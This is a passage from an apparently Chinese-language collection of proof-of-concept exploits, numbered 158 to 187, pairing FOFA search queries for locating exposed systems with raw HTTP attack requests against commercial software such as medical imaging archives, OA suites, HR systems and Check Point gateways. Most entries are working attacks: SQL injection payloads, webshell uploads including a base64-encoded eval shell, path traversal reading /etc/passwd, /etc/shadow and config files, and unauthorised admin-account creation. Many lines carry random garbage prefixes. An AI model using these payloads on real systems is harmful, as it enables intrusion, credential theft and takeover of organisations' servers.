' V$ g: z2 }& ?* @* o1 @Content-Disposition: form-data; name="field"
$ `0 o9 w4 P4 E# o+ z. ?3 L; B
5 C* j6 ^% X4 m& R: ^) @9 @null
+ N; ?% ?9 T2 F4 u" u7 O------WebKitFormBoundary1imovELzPsfzp5dN
# x' Y+ B! L; G! t) |/ K$ nContent-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
8 F' [+ D, |. E$ P! z0 s& wContent-Disposition: form-data; name="filefolder"

( x' W- n+ X  R6 H" N* S9 inull
------WebKitFormBoundary1imovELzPsfzp5dN--
" |1 d" @6 m: G# g
* R' e& P0 A+ m! A  o' i$ [  s
" \% e0 `# d7 N& o! Uhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
3 r, ?. n* s! T& @" f
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
3 T6 M+ p( F  B8 v5 b8 g
. R; X  G0 l3 X" E9 g1 xobject=displayregion&contenthistid=x\'&previewid=1
; k3 T0 m9 J4 y1 q

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
- V# v3 s) @7 z2 Z  iPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
5 [7 W9 N- Z2 D1 f' v* zContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
5 W- t3 M) E8 N  k* r$ NContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 N% V( p8 q' z& [& F7 ]4 r<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
) J% `, U1 c$ }' ]6 l) s<subFolder></subFolder>
; J  C) `8 ?$ C) C6 E, [<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>
9 a5 q- |* R/ A' Q* h
/ D8 M( m3 n' w1 U0 T5 M
2 R' R: r5 H0 i- p- ~) I: ^6 W/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

$ m! x: X4 x0 c) E
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
' [! a5 q! G& K6 l) K5 I, LFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
* y' ~: T# i# {$ x: S6 [9 @8 G: x6 MHost: x.x.x.x
% [, H/ f+ ~( {2 M4 ?User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
. ~+ K, i5 ]; eAccept: */*
1 |! o8 k3 z( I! a7 J% ^Accept-Language: en
% n0 e( J2 v4 [8 B3 m* y5 Y* SAccept-Encoding: gzip
# Z. z: R  s2 _$ y6 A0 K

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
( c& u3 M  S7 G  n& AFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
. O8 X' R& O& k7 H2 U# RPOST /Webservice.asmx HTTP/1.1
, w( n' K) \5 ]9 rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
- L* j6 b9 e6 s' l3 O5 q4 _Content-Type: text/xml
* c/ t5 R7 I2 h/ N# w/ rAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
/ I( E$ C  F! A+ w<soap:Envelope xmlns:xsi="
% x. F/ L; d  I) Z/ Shttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
; v9 M+ z! @" ^$ }2 G<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
6 {) S3 _& `3 n) g! c<fileName>../../../../dizxdell.aspx</fileName>
5 p7 i9 [2 o( i! z<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
) _( }0 U& A" _: D<tag>3</tag>
. J, C. N9 d) h* u6 b</UploadResume>
+ C! d/ V0 x5 w) g" ~6 b9 f7 z</soap:Body>
</soap:Envelope>
8 k4 N' p: s4 d. }
! V( W3 {% P: N; J
http://x.x.x.x/dizxdell.aspx

) h5 ~, ?6 V; z2 @4 k: A162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
! \$ X* M* i1 t% K' _POST /QH.aspx HTTP/1.1
Host: x.x.x.x
( Y; k- C0 j' o# sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
! A* e% A/ Z* PConnection: close
Content-Length: 583
) y) D! N8 f4 Z8 Q- w9 F. L1 ~- \$ sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
. z; N% [( I: z' ]5 ]$ E3 Y5 F
------WebKitFormBoundaryeegvclmyurlotuey
  @, i9 s2 ]7 V$ GContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
( K+ s3 v9 L7 |( \Content-Type: application/octet-stream

# ~6 t' E* V9 _/ J' @<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
$ O9 j- O' x( l& {+ |' f- w  KContent-Disposition: form-data; name="action"
( s, A/ \( }1 ?( m1 ?/ a. r! k
upload
------WebKitFormBoundaryeegvclmyurlotuey
2 v: b$ a9 y( qContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
4 n4 B9 N" w, k7 g# P
/opt/resources
! _% _! n$ g4 K1 k! \- y------WebKitFormBoundaryeegvclmyurlotuey--


  Q. p8 T6 R! @4 {http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
8 c# @+ T7 H! rFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
) K: L+ n3 B6 mConnection: close
Content-Length: 293
Accept: */*
1 K3 d0 A* R, Q, L1 D5 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# k4 q; t4 a- {5 y) t+ `Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
; o, o# O0 T; S  s; w2 w! V# X
+ I/ E0 q7 V/ A' }------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

+ q2 _. j9 a2 b1 D5 @$ D. `- _rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' R( C& ~+ Y, l: fFOFA: title="智慧综合管理平台登入"
3 B, Z2 a3 _8 jPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
* Q8 h* E3 Y. s1 N  HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
2 f$ G5 k. x! p2 E6 K5 @8 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
  Y/ W6 Z1 W& {; |) D$ MContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
* c/ D6 D2 H9 a. |5 L9 _* _) z* {Accept-Encoding: gzip

$ ^' n1 O1 `# [2 h# v------dqdaieopnozbkapjacdbdthlvtlyl
) ~% M; f' q/ [" lContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

3 m/ ?! t" c2 L5 a<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
' E5 L% n) X3 Z* V1 I; z------dqdaieopnozbkapjacdbdthlvtlyl--


; ?$ u- L; x* m9 Y1 vhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
, G$ c  R: N! o! e
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
( W. n& E  a3 O2 [& N% gFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
9 I+ r6 _1 m$ X/ P3 X6 k& n
* f! |' B6 _- `: q& i+ h3 {+ W; X* D
166. 中成科信票务管理平台SeatMapHandler SQL注入
5 `8 G# v3 \3 C, [FOFA：body="技术支持：北京中成科信科技发展有限公司"
7 k+ {- c! S& b  bPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
& d8 R0 r1 f) R) s% W* |/ e$ i  XHost:
Pragma: no-cache
Cache-Control: no-cache
) e  P1 R: K' g1 e0 E& IUpgrade-Insecure-Requests: 1
) ?. m4 S" p5 e4 l1 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! m% K7 K9 O6 i( _; N/ f0 w% zAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
$ I5 l% F% s0 T+ ~, v8 w; kCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
3 p0 P4 P: k2 L( t6 EContent-Type: application/x-www-form-urlencoded
/ U8 `6 ~4 }# R" r. V% a( \* ~+ vContent-Length: 89
# @/ e- Q: y- f# e7 V6 F
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

- L% o2 @7 v# R8 l' `2 ?
" }# A6 m& m9 X3 [0 r167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
* G( p4 g4 f/ n) |' |Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 I6 `7 s- y; {9 gContent-Type: application/x-www-form-urlencoded
( A+ Y3 ^& R7 ]7 g4 g) s6 B4 wAccept-Encoding: gzip, deflate
2 X( U; h1 m6 zAccept: */*
Connection: keep-alive
7 G$ h- g: P% q3 ^% U

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
$ h8 n6 h* _/ W6 v' c, \Content-Type: application/x-www-form-urlencoded
Connection: close



2 \" c* s2 Z2 o0 `* ]3 I' L169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close



: U, H6 j- ~5 Q170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 f- b* ]) H) f5 S9 ~$ j! m: vFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
' Z: d+ ~! B  G* t* ^( O  lUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! T/ x' y+ F4 dContent-Type: application/x-www-form-urlencoded
9 j* W5 ^* ]% X7 A
2 ^6 A; p  J: D; m2 pfilename=../webapps/ROOT/WEB-INF/web.xml
: K+ l' j1 t  _$ F4 Z. Z$ o6 k
1 q" F: q  u0 N( O8 A' v! k+ w
171. 通天星CMSV6车载定位监控平台 SQL注入
* x( D! X! N& SFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
2 z* S6 u6 h2 ]1 gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
' E1 h8 b' z& g) V0 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* P7 C0 I1 @% j  N9 [% ^5 RAccept-Encoding: gzip, deflate
Connection: close


. b& m: ]7 E/ O# ?& }! g$ q6 R
, h/ x6 Q9 y7 ^" N5 {172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
; X  l2 A* i( M7 b$ c# \GET /../../../../etc/passwd HTTP/1.1
2 I0 P3 I% g1 \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( Z1 z4 s5 \7 l; OAccept-Encoding: gzip, deflate
" T3 L2 ]' _4 L/ cAccept: */*
% z' y- t* ^+ f  a# O' B. h; G& fConnection: keep-alive
9 i! S) W8 ?5 v! }( `: R


173. Check Point 安全网关任意文件读取
% t0 s0 s/ H$ dCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
+ l5 x' k* F" [  j9 h% BPOST /clients/MyCRL HTTP/1.1
4 R) W2 D$ |, S2 UHost: your-ip
  K. ]8 U' ~1 w% b) H( rContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
1 L. o3 c" N# E+ k/ @# I5 @  t


174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ ~$ |: q  t' H! n0 J/ hFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
/ s/ Q0 [. @6 O! p' lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- B4 n* l- J9 w* R/ b4 ]# j1 ~: a5 oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


7 Q; {6 F4 b, a- B( V& F
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
" I2 ?5 h2 A1 e9 K( Z6 ?% B  z( qFOFA：app="金和网络-金和OA"
8 b7 [5 K% h& i* H0 pGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
4 ^- Z& v+ B% n! CUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
! s7 u+ P& \( Z9 `& LFOFA：body="img/login_bg3.png" && body="系统登录"
5 B& U  H/ T* W1 V3 bPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

1 M3 @4 Z: }! d------WebKitFormBoundaryOKldnDPT
% _: y/ x9 |3 C3 T3 j6 ~, h/ q7 LContent-Disposition: form-data; name="tmp_name"; filename="test.php"
. r6 v3 P, N( S9 bContent-Type: image/png
9 r4 H0 H; P8 Z9 l. X
<?php system("cat /etc/passwd");unlink(__FILE__);?>
! i- E* y' O& ]! C& b* w) S' W------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

/ F: F0 N( }+ }8 ^9 S/ o2 K
------WebKitFormBoundaryOKldnDPT--
8 y! W6 G! j3 J( U- T5 g9 s


, A; m0 f; Y% K5 e177. H3C路由器敏感信息泄露
3 v$ ]3 S* |" l- G& W/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
7 _% B0 D+ ~- a/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
3 x$ i" q2 Q! J5 o: p9 D( V4 y/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
7 b) ^4 K4 r1 P9 q' J/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
" u: v) n" s. d" Y, K2 O6 `/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
6 ]9 n* H+ e5 C" w9 i9 A/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
% y  q* z, l4 i' N0 z/userLogin.asp/../actionpolicy_status/../ER5200.cfg
3 G# y5 |( o; V, F/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
- Q9 n6 s. [, u" L! y/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
7 y& O# n) j4 Z* o" J/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
- n# H  z6 Z5 ~

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
" }5 C6 |+ R7 a. O) p: [% ^POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
, `$ A+ Y7 e, A# W  x* _" FHost:
2 @1 Q: H+ k9 w" N+ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
* i: m& l/ X9 `7 r! X0 wAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
8 M* I7 m* ?+ y5 i$ x  \Content-Type: application/octet-stream
Content-Length: 255

: B& I" \# P$ A$ e12234
5 l1 f9 a, D, _, X8 z8 l. w8 _-----------------aqutkea7vvanpqy3rh2l--

1 D( c: f5 n/ g' L
2 y3 B/ U% m1 }; i$ jGET /imc/primepush/%2e%2e/flex/12234.txt
  y. m5 x+ ^2 {: k
9 c" Q5 X) o: b- @  ^8 @& |
% R( d/ p7 N2 E; t1 E& [179. 建文工程管理系统存在任意文件读取
% N7 |: F  t3 M5 a5 XPOST /Common/DownLoad2.aspx HTTP/1.1
' n; M, x5 h& r5 MHost: {{Hostname}}
& j) j6 l. R* g, |/ O  i( r) O( M% ]Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

8 j5 r$ ^5 {1 ipath=../log4net.config&Name=
: k( {% C+ B% s3 C$ r* n! y1 R0 q

$ _' ~8 {8 U, A0 i2 N180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
+ W! \: m- M' I. RGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
; |3 u# P9 E  z% n7 z, O' kHost: your-ip
+ f3 h8 @* A. ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ O  F: L7 Z9 l; A) F. t! @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; }3 y0 f! `$ w& JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 q0 p9 k+ f* j7 D
; r' w6 T: c. @  x/ x: D
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
$ e  h# k/ S; gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
) G% q3 E: K2 ~: G& {& L- [. fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
" I, x. ~. D- }4 VConnection: close
Content-Type: application/x-www-form-urlencoded

: x: R* S/ w! [3 k7 h
" n3 h- b9 h* x$ T" Taction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
+ {/ Z0 {6 g, n, t, w
( G/ W' n: b$ u8 W
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
4 ~9 e5 Y" m0 i1 S: e2 }POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
: K, j1 l- f  H  Y* i) PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. P7 l# Z: h8 H% o7 s8 ?. |' F; RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  G" ~, b4 x& t( E, M# ]7 ZAccept-Encoding: gzip, deflate, br
0 C* [$ |8 @- ], {5 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 f* A6 A* K) N2 hContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1
7 H) J2 H5 D, d4 g

6 e/ P6 {" _- N% S8 K  s* L& Q183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
& [" ?6 z% A! p5 v! w5 j8 l& A9 \GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
1 m$ e3 B- V' t4 P& H' i2 RHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; H8 p2 p8 `/ p1 I) s5 GAccept-Charset: utf-8
& @4 ]6 @, b% [0 _9 g2 c: M3 |7 L" B& wAccept-Encoding: gzip, deflate
Connection: close
& R( E( e6 W3 w( g
+ `! i: s/ }4 w6 ~7 [
& E: \; s1 n6 V% R/ b: P' J184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 J* f1 ?( e6 R+ d9 L, J. ~FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
/ q; }9 I/ N6 t4 zHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 ?1 u! U8 `8 s# R. P7 {1 h1 sAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Y+ x5 e' P! R$ t$ k! wX-Requested-With: XMLHttpRequest


# k* Y5 x/ H( t" jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
$ v/ w! ?7 X. n* t4 O3 F: nversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
4 q1 O; l$ N( m7 Z7 \( wGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
3 U. _, G: w9 E7 sHost: host
; K7 H9 p  [, w0 n
1 |2 p! u( @! ?7 L! g' m) H
* P6 d. }% _, n. K' S2 C  P5 B1 T( }186. F-logic DataCube3 SQL注入
CVE-2024-31750
& t$ F0 p: j2 tF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
! O8 N' ^. H( u9 uPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
( D% t* ?* X. F% O- MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
& e8 c. D4 n4 [: b( u  C% AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
8 N. G$ K; R3 U) ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 {. I9 X) n3 h/ R4 CAccept-Encoding: gzip, deflate
0 `+ x) f8 u$ N/ ZConnection: close
Content-Type: application/x-www-form-urlencoded

; b/ b) T0 @5 {) O  o' S9 [# Jreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
0 }/ z& b; m/ T# w

1 i, H5 v" Y! @4 E/ O# ~& y7 c6 M187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
